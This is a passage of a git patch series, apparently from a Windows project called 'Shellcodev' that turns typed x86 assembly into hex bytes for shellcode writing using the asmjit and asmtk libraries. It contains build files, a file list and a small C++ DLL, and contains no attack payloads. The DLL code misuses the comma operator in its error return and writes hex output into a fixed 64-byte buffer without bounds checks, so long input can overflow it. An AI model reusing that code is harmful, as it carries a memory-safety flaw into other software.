From 1118615872982c67011f285ba7521f12b77f62e9 Mon Sep 17 00:00:00 2001 From: XaFF Date: Thu, 14 Oct 2021 12:43:00 +0200 Subject: [PATCH 01/64] Add .gitignore and .gitattributes. --- .gitattributes | 63 +++++++++ .gitignore | 363 +++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 426 insertions(+) create mode 100644 .gitattributes create mode 100644 .gitignore diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..1ff0c42 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,63 @@ +############################################################################### +# Set default behavior to automatically normalize line endings. +############################################################################### +* text=auto + +############################################################################### +# Set default behavior for command prompt diff. +# +# This is need for earlier builds of msysgit that does not have it on by +# default for csharp files. +# Note: This is only used by command line +############################################################################### +#*.cs diff=csharp + +############################################################################### +# Set the merge driver for project and solution files +# +# Merging from the command prompt will add diff markers to the files if there +# are conflicts (Merging from VS is not affected by the settings below, in VS +# the diff markers are never inserted). Diff markers may cause the following +# file extensions to fail to load in VS. An alternative would be to treat +# these files as binary and thus will always conflict and require user +# intervention with every merge. To do so, just uncomment the entries below +############################################################################### +#*.sln merge=binary +#*.csproj merge=binary +#*.vbproj merge=binary +#*.vcxproj merge=binary +#*.vcproj merge=binary +#*.dbproj merge=binary +#*.fsproj merge=binary +#*.lsproj merge=binary +#*.wixproj merge=binary +#*.modelproj merge=binary +#*.sqlproj merge=binary +#*.wwaproj merge=binary + +############################################################################### +# behavior for image files +# +# image files are treated as binary by default. +############################################################################### +#*.jpg binary +#*.png binary +#*.gif binary + +############################################################################### +# diff behavior for common document formats +# +# Convert binary document formats to text before diffing them. This feature +# is only available from the command line. Turn it on by uncommenting the +# entries below. +############################################################################### +#*.doc diff=astextplain +#*.DOC diff=astextplain +#*.docx diff=astextplain +#*.DOCX diff=astextplain +#*.dot diff=astextplain +#*.DOT diff=astextplain +#*.pdf diff=astextplain +#*.PDF diff=astextplain +#*.rtf diff=astextplain +#*.RTF diff=astextplain diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..9491a2f --- /dev/null +++ b/.gitignore @@ -0,0 +1,363 @@ +## Ignore Visual Studio temporary files, build results, and +## files generated by popular Visual Studio add-ons. +## +## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore + +# User-specific files +*.rsuser +*.suo +*.user +*.userosscache +*.sln.docstates + +# User-specific files (MonoDevelop/Xamarin Studio) +*.userprefs + +# Mono auto generated files +mono_crash.* + +# Build results +[Dd]ebug/ +[Dd]ebugPublic/ +[Rr]elease/ +[Rr]eleases/ +x64/ +x86/ +[Ww][Ii][Nn]32/ +[Aa][Rr][Mm]/ +[Aa][Rr][Mm]64/ +bld/ +[Bb]in/ +[Oo]bj/ +[Oo]ut/ +[Ll]og/ +[Ll]ogs/ + +# Visual Studio 2015/2017 cache/options directory +.vs/ +# Uncomment if you have tasks that create the project's static files in wwwroot +#wwwroot/ + +# Visual Studio 2017 auto generated files +Generated\ Files/ + +# MSTest test Results +[Tt]est[Rr]esult*/ +[Bb]uild[Ll]og.* + +# NUnit +*.VisualState.xml +TestResult.xml +nunit-*.xml + +# Build Results of an ATL Project +[Dd]ebugPS/ +[Rr]eleasePS/ +dlldata.c + +# Benchmark Results +BenchmarkDotNet.Artifacts/ + +# .NET Core +project.lock.json +project.fragment.lock.json +artifacts/ + +# ASP.NET Scaffolding +ScaffoldingReadMe.txt + +# StyleCop +StyleCopReport.xml + +# Files built by Visual Studio +*_i.c +*_p.c +*_h.h +*.ilk +*.meta +*.obj +*.iobj +*.pch +*.pdb +*.ipdb +*.pgc +*.pgd +*.rsp +*.sbr +*.tlb +*.tli +*.tlh +*.tmp +*.tmp_proj +*_wpftmp.csproj +*.log +*.vspscc +*.vssscc +.builds +*.pidb +*.svclog +*.scc + +# Chutzpah Test files +_Chutzpah* + +# Visual C++ cache files +ipch/ +*.aps +*.ncb +*.opendb +*.opensdf +*.sdf +*.cachefile +*.VC.db +*.VC.VC.opendb + +# Visual Studio profiler +*.psess +*.vsp +*.vspx +*.sap + +# Visual Studio Trace Files +*.e2e + +# TFS 2012 Local Workspace +$tf/ + +# Guidance Automation Toolkit +*.gpState + +# ReSharper is a .NET coding add-in +_ReSharper*/ +*.[Rr]e[Ss]harper +*.DotSettings.user + +# TeamCity is a build add-in +_TeamCity* + +# DotCover is a Code Coverage Tool +*.dotCover + +# AxoCover is a Code Coverage Tool +.axoCover/* +!.axoCover/settings.json + +# Coverlet is a free, cross platform Code Coverage Tool +coverage*.json +coverage*.xml +coverage*.info + +# Visual Studio code coverage results +*.coverage +*.coveragexml + +# NCrunch +_NCrunch_* +.*crunch*.local.xml +nCrunchTemp_* + +# MightyMoose +*.mm.* +AutoTest.Net/ + +# Web workbench (sass) +.sass-cache/ + +# Installshield output folder +[Ee]xpress/ + +# DocProject is a documentation generator add-in +DocProject/buildhelp/ +DocProject/Help/*.HxT +DocProject/Help/*.HxC +DocProject/Help/*.hhc +DocProject/Help/*.hhk +DocProject/Help/*.hhp +DocProject/Help/Html2 +DocProject/Help/html + +# Click-Once directory +publish/ + +# Publish Web Output +*.[Pp]ublish.xml +*.azurePubxml +# Note: Comment the next line if you want to checkin your web deploy settings, +# but database connection strings (with potential passwords) will be unencrypted +*.pubxml +*.publishproj + +# Microsoft Azure Web App publish settings. Comment the next line if you want to +# checkin your Azure Web App publish settings, but sensitive information contained +# in these scripts will be unencrypted +PublishScripts/ + +# NuGet Packages +*.nupkg +# NuGet Symbol Packages +*.snupkg +# The packages folder can be ignored because of Package Restore +**/[Pp]ackages/* +# except build/, which is used as an MSBuild target. +!**/[Pp]ackages/build/ +# Uncomment if necessary however generally it will be regenerated when needed +#!**/[Pp]ackages/repositories.config +# NuGet v3's project.json files produces more ignorable files +*.nuget.props +*.nuget.targets + +# Microsoft Azure Build Output +csx/ +*.build.csdef + +# Microsoft Azure Emulator +ecf/ +rcf/ + +# Windows Store app package directories and files +AppPackages/ +BundleArtifacts/ +Package.StoreAssociation.xml +_pkginfo.txt +*.appx +*.appxbundle +*.appxupload + +# Visual Studio cache files +# files ending in .cache can be ignored +*.[Cc]ache +# but keep track of directories ending in .cache +!?*.[Cc]ache/ + +# Others +ClientBin/ +~$* +*~ +*.dbmdl +*.dbproj.schemaview +*.jfm +*.pfx +*.publishsettings +orleans.codegen.cs + +# Including strong name files can present a security risk +# (https://github.com/github/gitignore/pull/2483#issue-259490424) +#*.snk + +# Since there are multiple workflows, uncomment next line to ignore bower_components +# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) +#bower_components/ + +# RIA/Silverlight projects +Generated_Code/ + +# Backup & report files from converting an old project file +# to a newer Visual Studio version. Backup files are not needed, +# because we have git ;-) +_UpgradeReport_Files/ +Backup*/ +UpgradeLog*.XML +UpgradeLog*.htm +ServiceFabricBackup/ +*.rptproj.bak + +# SQL Server files +*.mdf +*.ldf +*.ndf + +# Business Intelligence projects +*.rdl.data +*.bim.layout +*.bim_*.settings +*.rptproj.rsuser +*- [Bb]ackup.rdl +*- [Bb]ackup ([0-9]).rdl +*- [Bb]ackup ([0-9][0-9]).rdl + +# Microsoft Fakes +FakesAssemblies/ + +# GhostDoc plugin setting file +*.GhostDoc.xml + +# Node.js Tools for Visual Studio +.ntvs_analysis.dat +node_modules/ + +# Visual Studio 6 build log +*.plg + +# Visual Studio 6 workspace options file +*.opt + +# Visual Studio 6 auto-generated workspace file (contains which files were open etc.) +*.vbw + +# Visual Studio LightSwitch build output +**/*.HTMLClient/GeneratedArtifacts +**/*.DesktopClient/GeneratedArtifacts +**/*.DesktopClient/ModelManifest.xml +**/*.Server/GeneratedArtifacts +**/*.Server/ModelManifest.xml +_Pvt_Extensions + +# Paket dependency manager +.paket/paket.exe +paket-files/ + +# FAKE - F# Make +.fake/ + +# CodeRush personal settings +.cr/personal + +# Python Tools for Visual Studio (PTVS) +__pycache__/ +*.pyc + +# Cake - Uncomment if you are using it +# tools/** +# !tools/packages.config + +# Tabs Studio +*.tss + +# Telerik's JustMock configuration file +*.jmconfig + +# BizTalk build output +*.btp.cs +*.btm.cs +*.odx.cs +*.xsd.cs + +# OpenCover UI analysis results +OpenCover/ + +# Azure Stream Analytics local run output +ASALocalRun/ + +# MSBuild Binary and Structured Log +*.binlog + +# NVidia Nsight GPU debugger configuration file +*.nvuser + +# MFractors (Xamarin productivity tool) working folder +.mfractor/ + +# Local History for Visual Studio +.localhistory/ + +# BeatPulse healthcheck temp database +healthchecksdb + +# Backup folder for Package Reference Convert tool in Visual Studio 2017 +MigrationBackup/ + +# Ionide (cross platform F# VS Code tools) working folder +.ionide/ + +# Fody - auto-generated XML schema +FodyWeavers.xsd \ No newline at end of file From 4122e47e9f43a25fea89e23e7a0fc46076a0d7bf Mon Sep 17 00:00:00 2001 From: XaFF Date: Thu, 14 Oct 2021 12:43:01 +0200 Subject: [PATCH 02/64] Add project files. --- InstructionHandler/InstructionHandler.vcxproj | 299 + .../InstructionHandler.vcxproj.filters | 423 ++ InstructionHandler/dllmain.cpp | 43 + InstructionHandler/ihandler.h | 22 + Shellcodev.sln | 105 + Shellcodev/App.config | 6 + Shellcodev/Core/AssemblyHandler.cs | 35 + Shellcodev/Core/Instruction.cs | 40 + Shellcodev/Forms/Main.Designer.cs | 160 + Shellcodev/Forms/Main.cs | 65 + Shellcodev/Forms/Main.resx | 123 + Shellcodev/Program.cs | 22 + Shellcodev/Properties/AssemblyInfo.cs | 36 + Shellcodev/Properties/Resources.Designer.cs | 71 + Shellcodev/Properties/Resources.resx | 117 + Shellcodev/Properties/Settings.Designer.cs | 30 + Shellcodev/Properties/Settings.settings | 7 + Shellcodev/Shellcodev.csproj | 85 + TestDLL/App.config | 6 + TestDLL/Program.cs | 25 + TestDLL/Properties/AssemblyInfo.cs | 36 + TestDLL/TestDLL.csproj | 54 + asmjit/.appveyor.yml | 78 + asmjit/.gitignore | 5 + asmjit/.travis.yml | 57 + asmjit/BREAKING.md | 75 + asmjit/CMakeLists.txt | 240 + asmjit/CxxProject.cmake | 335 + asmjit/LICENSE.md | 18 + asmjit/README.md | 1735 +++++ asmjit/cxxconfig.js | 16 + asmjit/src/asmjit/arm.h | 21 + asmjit/src/asmjit/asmjit.h | 47 + asmjit/src/asmjit/asmjit_apibegin.h | 117 + asmjit/src/asmjit/asmjit_apiend.h | 74 + asmjit/src/asmjit/asmjit_build.h | 949 +++ asmjit/src/asmjit/base.h | 34 + asmjit/src/asmjit/base/arch.cpp | 161 + asmjit/src/asmjit/base/arch.h | 199 + asmjit/src/asmjit/base/assembler.cpp | 447 ++ asmjit/src/asmjit/base/assembler.h | 154 + asmjit/src/asmjit/base/codebuilder.cpp | 584 ++ asmjit/src/asmjit/base/codebuilder.h | 915 +++ asmjit/src/asmjit/base/codecompiler.cpp | 573 ++ asmjit/src/asmjit/base/codecompiler.h | 738 ++ asmjit/src/asmjit/base/codeemitter.cpp | 236 + asmjit/src/asmjit/base/codeemitter.h | 499 ++ asmjit/src/asmjit/base/codeholder.cpp | 696 ++ asmjit/src/asmjit/base/codeholder.h | 748 ++ asmjit/src/asmjit/base/constpool.cpp | 511 ++ asmjit/src/asmjit/base/constpool.h | 257 + asmjit/src/asmjit/base/cpuinfo.cpp | 674 ++ asmjit/src/asmjit/base/cpuinfo.h | 373 + asmjit/src/asmjit/base/func.cpp | 186 + asmjit/src/asmjit/base/func.h | 1296 ++++ asmjit/src/asmjit/base/globals.cpp | 118 + asmjit/src/asmjit/base/globals.h | 341 + asmjit/src/asmjit/base/inst.cpp | 77 + asmjit/src/asmjit/base/inst.h | 108 + asmjit/src/asmjit/base/logging.cpp | 497 ++ asmjit/src/asmjit/base/logging.h | 288 + asmjit/src/asmjit/base/misc_p.h | 74 + asmjit/src/asmjit/base/operand.cpp | 209 + asmjit/src/asmjit/base/operand.h | 1569 +++++ asmjit/src/asmjit/base/osutils.cpp | 228 + asmjit/src/asmjit/base/osutils.h | 178 + asmjit/src/asmjit/base/regalloc.cpp | 594 ++ asmjit/src/asmjit/base/regalloc_p.h | 568 ++ asmjit/src/asmjit/base/runtime.cpp | 147 + asmjit/src/asmjit/base/runtime.h | 198 + asmjit/src/asmjit/base/simdtypes.h | 1075 +++ asmjit/src/asmjit/base/string.cpp | 353 + asmjit/src/asmjit/base/string.h | 289 + asmjit/src/asmjit/base/utils.cpp | 176 + asmjit/src/asmjit/base/utils.h | 1358 ++++ asmjit/src/asmjit/base/vmem.cpp | 1077 +++ asmjit/src/asmjit/base/vmem.h | 154 + asmjit/src/asmjit/base/zone.cpp | 962 +++ asmjit/src/asmjit/base/zone.h | 1329 ++++ asmjit/src/asmjit/x86.h | 23 + asmjit/test/asmjit.h | 1 + asmjit/test/asmjit_bench_x86.cpp | 146 + asmjit/test/asmjit_test_misc.h | 176 + asmjit/test/asmjit_test_opcode.cpp | 92 + asmjit/test/asmjit_test_opcode.h | 6050 +++++++++++++++++ asmjit/test/asmjit_test_unit.cpp | 272 + asmjit/test/asmjit_test_x86_asm.cpp | 95 + asmjit/test/asmjit_test_x86_cc.cpp | 3666 ++++++++++ asmjit/test/broken.cpp | 278 + asmjit/test/broken.h | 145 + asmjit/tools/configure-mac-xcode.sh | 9 + asmjit/tools/configure-unix-makefiles-dbg.sh | 9 + asmjit/tools/configure-unix-makefiles-rel.sh | 9 + asmjit/tools/configure-win-mingw-dbg.bat | 9 + asmjit/tools/configure-win-mingw-rel.bat | 9 + asmjit/tools/configure-win-vs2010-x64.bat | 9 + asmjit/tools/configure-win-vs2010-x86.bat | 9 + asmjit/tools/configure-win-vs2013-x64.bat | 9 + asmjit/tools/configure-win-vs2013-x86.bat | 9 + asmjit/tools/configure-win-vs2015-x64.bat | 9 + asmjit/tools/configure-win-vs2015-x86.bat | 9 + asmjit/tools/generate-arm.js | 207 + asmjit/tools/generate-base.js | 537 ++ asmjit/tools/generate-x86.js | 1829 +++++ asmtk/.gitignore | 4 + asmtk/.travis.yml | 49 + asmtk/CMakeLists.txt | 95 + asmtk/CxxProject.cmake | 335 + asmtk/LICENSE.md | 18 + asmtk/README.md | 114 + asmtk/src/asmtk/asmparser.cpp | 979 +++ asmtk/src/asmtk/asmparser.h | 64 + asmtk/src/asmtk/asmtk.h | 19 + asmtk/src/asmtk/asmtokenizer.cpp | 226 + asmtk/src/asmtk/asmtokenizer.h | 102 + asmtk/src/asmtk/elfdefs.h | 178 + asmtk/src/asmtk/globals.h | 18 + asmtk/src/asmtk/strtod.h | 59 + asmtk/test/asmtk.h | 1 + asmtk/test/asmtk_test_cmd.cpp | 208 + asmtk/test/asmtk_test_handler.cpp | 67 + asmtk/test/asmtk_test_x86.cpp | 731 ++ asmtk/tools/configure-unix-makefiles-dbg.sh | 12 + asmtk/tools/configure-unix-makefiles-rel.sh | 12 + 124 files changed, 43732 insertions(+) create mode 100644 InstructionHandler/InstructionHandler.vcxproj create mode 100644 InstructionHandler/InstructionHandler.vcxproj.filters create mode 100644 InstructionHandler/dllmain.cpp create mode 100644 InstructionHandler/ihandler.h create mode 100644 Shellcodev.sln create mode 100644 Shellcodev/App.config create mode 100644 Shellcodev/Core/AssemblyHandler.cs create mode 100644 Shellcodev/Core/Instruction.cs create mode 100644 Shellcodev/Forms/Main.Designer.cs create mode 100644 Shellcodev/Forms/Main.cs create mode 100644 Shellcodev/Forms/Main.resx create mode 100644 Shellcodev/Program.cs create mode 100644 Shellcodev/Properties/AssemblyInfo.cs create mode 100644 Shellcodev/Properties/Resources.Designer.cs create mode 100644 Shellcodev/Properties/Resources.resx create mode 100644 Shellcodev/Properties/Settings.Designer.cs create mode 100644 Shellcodev/Properties/Settings.settings create mode 100644 Shellcodev/Shellcodev.csproj create mode 100644 TestDLL/App.config create mode 100644 TestDLL/Program.cs create mode 100644 TestDLL/Properties/AssemblyInfo.cs create mode 100644 TestDLL/TestDLL.csproj create mode 100644 asmjit/.appveyor.yml create mode 100644 asmjit/.gitignore create mode 100644 asmjit/.travis.yml create mode 100644 asmjit/BREAKING.md create mode 100644 asmjit/CMakeLists.txt create mode 100644 asmjit/CxxProject.cmake create mode 100644 asmjit/LICENSE.md create mode 100644 asmjit/README.md create mode 100644 asmjit/cxxconfig.js create mode 100644 asmjit/src/asmjit/arm.h create mode 100644 asmjit/src/asmjit/asmjit.h create mode 100644 asmjit/src/asmjit/asmjit_apibegin.h create mode 100644 asmjit/src/asmjit/asmjit_apiend.h create mode 100644 asmjit/src/asmjit/asmjit_build.h create mode 100644 asmjit/src/asmjit/base.h create mode 100644 asmjit/src/asmjit/base/arch.cpp create mode 100644 asmjit/src/asmjit/base/arch.h create mode 100644 asmjit/src/asmjit/base/assembler.cpp create mode 100644 asmjit/src/asmjit/base/assembler.h create mode 100644 asmjit/src/asmjit/base/codebuilder.cpp create mode 100644 asmjit/src/asmjit/base/codebuilder.h create mode 100644 asmjit/src/asmjit/base/codecompiler.cpp create mode 100644 asmjit/src/asmjit/base/codecompiler.h create mode 100644 asmjit/src/asmjit/base/codeemitter.cpp create mode 100644 asmjit/src/asmjit/base/codeemitter.h create mode 100644 asmjit/src/asmjit/base/codeholder.cpp create mode 100644 asmjit/src/asmjit/base/codeholder.h create mode 100644 asmjit/src/asmjit/base/constpool.cpp create mode 100644 asmjit/src/asmjit/base/constpool.h create mode 100644 asmjit/src/asmjit/base/cpuinfo.cpp create mode 100644 asmjit/src/asmjit/base/cpuinfo.h create mode 100644 asmjit/src/asmjit/base/func.cpp create mode 100644 asmjit/src/asmjit/base/func.h create mode 100644 asmjit/src/asmjit/base/globals.cpp create mode 100644 asmjit/src/asmjit/base/globals.h create mode 100644 asmjit/src/asmjit/base/inst.cpp create mode 100644 asmjit/src/asmjit/base/inst.h create mode 100644 asmjit/src/asmjit/base/logging.cpp create mode 100644 asmjit/src/asmjit/base/logging.h create mode 100644 asmjit/src/asmjit/base/misc_p.h create mode 100644 asmjit/src/asmjit/base/operand.cpp create mode 100644 asmjit/src/asmjit/base/operand.h create mode 100644 asmjit/src/asmjit/base/osutils.cpp create mode 100644 asmjit/src/asmjit/base/osutils.h create mode 100644 asmjit/src/asmjit/base/regalloc.cpp create mode 100644 asmjit/src/asmjit/base/regalloc_p.h create mode 100644 asmjit/src/asmjit/base/runtime.cpp create mode 100644 asmjit/src/asmjit/base/runtime.h create mode 100644 asmjit/src/asmjit/base/simdtypes.h create mode 100644 asmjit/src/asmjit/base/string.cpp create mode 100644 asmjit/src/asmjit/base/string.h create mode 100644 asmjit/src/asmjit/base/utils.cpp create mode 100644 asmjit/src/asmjit/base/utils.h create mode 100644 asmjit/src/asmjit/base/vmem.cpp create mode 100644 asmjit/src/asmjit/base/vmem.h create mode 100644 asmjit/src/asmjit/base/zone.cpp create mode 100644 asmjit/src/asmjit/base/zone.h create mode 100644 asmjit/src/asmjit/x86.h create mode 100644 asmjit/test/asmjit.h create mode 100644 asmjit/test/asmjit_bench_x86.cpp create mode 100644 asmjit/test/asmjit_test_misc.h create mode 100644 asmjit/test/asmjit_test_opcode.cpp create mode 100644 asmjit/test/asmjit_test_opcode.h create mode 100644 asmjit/test/asmjit_test_unit.cpp create mode 100644 asmjit/test/asmjit_test_x86_asm.cpp create mode 100644 asmjit/test/asmjit_test_x86_cc.cpp create mode 100644 asmjit/test/broken.cpp create mode 100644 asmjit/test/broken.h create mode 100644 asmjit/tools/configure-mac-xcode.sh create mode 100644 asmjit/tools/configure-unix-makefiles-dbg.sh create mode 100644 asmjit/tools/configure-unix-makefiles-rel.sh create mode 100644 asmjit/tools/configure-win-mingw-dbg.bat create mode 100644 asmjit/tools/configure-win-mingw-rel.bat create mode 100644 asmjit/tools/configure-win-vs2010-x64.bat create mode 100644 asmjit/tools/configure-win-vs2010-x86.bat create mode 100644 asmjit/tools/configure-win-vs2013-x64.bat create mode 100644 asmjit/tools/configure-win-vs2013-x86.bat create mode 100644 asmjit/tools/configure-win-vs2015-x64.bat create mode 100644 asmjit/tools/configure-win-vs2015-x86.bat create mode 100644 asmjit/tools/generate-arm.js create mode 100644 asmjit/tools/generate-base.js create mode 100644 asmjit/tools/generate-x86.js create mode 100644 asmtk/.gitignore create mode 100644 asmtk/.travis.yml create mode 100644 asmtk/CMakeLists.txt create mode 100644 asmtk/CxxProject.cmake create mode 100644 asmtk/LICENSE.md create mode 100644 asmtk/README.md create mode 100644 asmtk/src/asmtk/asmparser.cpp create mode 100644 asmtk/src/asmtk/asmparser.h create mode 100644 asmtk/src/asmtk/asmtk.h create mode 100644 asmtk/src/asmtk/asmtokenizer.cpp create mode 100644 asmtk/src/asmtk/asmtokenizer.h create mode 100644 asmtk/src/asmtk/elfdefs.h create mode 100644 asmtk/src/asmtk/globals.h create mode 100644 asmtk/src/asmtk/strtod.h create mode 100644 asmtk/test/asmtk.h create mode 100644 asmtk/test/asmtk_test_cmd.cpp create mode 100644 asmtk/test/asmtk_test_handler.cpp create mode 100644 asmtk/test/asmtk_test_x86.cpp create mode 100644 asmtk/tools/configure-unix-makefiles-dbg.sh create mode 100644 asmtk/tools/configure-unix-makefiles-rel.sh diff --git a/InstructionHandler/InstructionHandler.vcxproj b/InstructionHandler/InstructionHandler.vcxproj new file mode 100644 index 0000000..3622eda --- /dev/null +++ b/InstructionHandler/InstructionHandler.vcxproj @@ -0,0 +1,299 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {34a3c54e-7c33-4f9a-af16-2cd5e68ea518} + InstructionHandler + 10.0.19041.0 + + + + DynamicLibrary + true + v143 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + DynamicLibrary + true + v142 + Unicode + + + DynamicLibrary + false + v143 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + C:\Users\XaFF\source\repos\asmtk\src;C:\Users\XaFF\source\repos\asmjit\src;$(IncludePath) + instrhandle + + + false + + + true + $(IncludePath) + + + false + + + + Level3 + true + WIN32;_DEBUG;INSTRUCTIONHANDLER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + NotUsing + pch.h + MultiThreadedDebug + + + Windows + true + false + %(AdditionalDependencies) + + + + + Level3 + true + true + true + WIN32;NDEBUG;INSTRUCTIONHANDLER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + true + true + false + + + + + Level3 + true + _DEBUG;INSTRUCTIONHANDLER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + NotUsing + pch.h + MultiThreadedDebug + C:\Users\XaFF\source\repos\asmtk\src;C:\Users\XaFF\source\repos\asmjit\src;%(AdditionalIncludeDirectories) + + + Windows + true + false + asmjit.lib;asmtk.lib;%(AdditionalDependencies) + C:\Users\XaFF\source\repos\asmtk\src;C:\Users\XaFF\source\repos\asmjit\Debug;%(AdditionalLibraryDirectories) + + + + + Level3 + true + true + true + NDEBUG;INSTRUCTIONHANDLER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) + true + Use + pch.h + + + Windows + true + true + true + false + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/InstructionHandler/InstructionHandler.vcxproj.filters b/InstructionHandler/InstructionHandler.vcxproj.filters new file mode 100644 index 0000000..6f64820 --- /dev/null +++ b/InstructionHandler/InstructionHandler.vcxproj.filters @@ -0,0 +1,423 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {521eaedd-812b-4a01-9cec-904efa2b2992} + + + {d0ef2b0e-a8b0-4e77-acc7-8ecb28d43719} + + + {e58bd0e7-4fdd-48bb-b5c3-dbd7c04a3fe5} + + + {dc3e6253-098c-4516-8e40-d4bccf20ad3e} + + + + + Source Files + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmtk + + + Header Files\asmtk + + + + + Header Files + + + Header Files\asmjit + + + Header Files\asmjit + + + Header Files\asmjit + + + Header Files\asmjit + + + Header Files\asmjit + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\x86 + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmjit\core + + + Header Files\asmtk + + + Header Files\asmtk + + + Header Files\asmtk + + + Header Files\asmtk + + + Header Files\asmtk + + + Header Files\asmtk + + + Header Files\asmtk + + + \ No newline at end of file diff --git a/InstructionHandler/dllmain.cpp b/InstructionHandler/dllmain.cpp new file mode 100644 index 0000000..953742b --- /dev/null +++ b/InstructionHandler/dllmain.cpp @@ -0,0 +1,43 @@ +// dllmain.cpp : Defines the entry point for the DLL application. +#define _CRT_SECURE_NO_WARNINGS +#include "ihandler.h" +#include +#include +#include + +using namespace asmjit; +using namespace asmtk; + +typedef int (*Func)(void); + +const char* AssembleInstructions(const char* instruction) +{ + std::vector data; + JitRuntime rt; + CodeHolder code; + + code.init(rt.environment()); + + x86::Assembler a(&code); + AsmParser p(&a); + + Error err = p.parse(instruction); + + if (err != kErrorOk) + return (const char*)"Error: %s", DebugUtils::errorAsString(err); + + if (code._relocations.size()) + return (const char*)"Error: unresolved relocations"; + + code.detach(&a); + + CodeBuffer& buffer = code.sectionById(0)->buffer(); + for (size_t i = 0; i < buffer.size(); i++) + data.push_back(buffer.data()[i]); + + unsigned char* result = new unsigned char[64]; + for (size_t i = 0; i < data.size(); ++i) + sprintf((char*)&result[i * 2], "%02x", data[i]); + + return (const char*)result; +} \ No newline at end of file diff --git a/InstructionHandler/ihandler.h b/InstructionHandler/ihandler.h new file mode 100644 index 0000000..af1fc23 --- /dev/null +++ b/InstructionHandler/ihandler.h @@ -0,0 +1,22 @@ +#pragma once + +#include +#include +#include + +#ifdef EBEXPORT +#define EBDECL __declspec(dllexport) +#else +#define EBDECL __declspec(dllimport) +#endif + +#if defined (__cplusplus) +extern "C" +{ +#endif + + __declspec(dllexport) const char* AssembleInstructions(const char* instruction); + +#if defined (__cplusplus) +} +#endif diff --git a/Shellcodev.sln b/Shellcodev.sln new file mode 100644 index 0000000..907f5a8 --- /dev/null +++ b/Shellcodev.sln @@ -0,0 +1,105 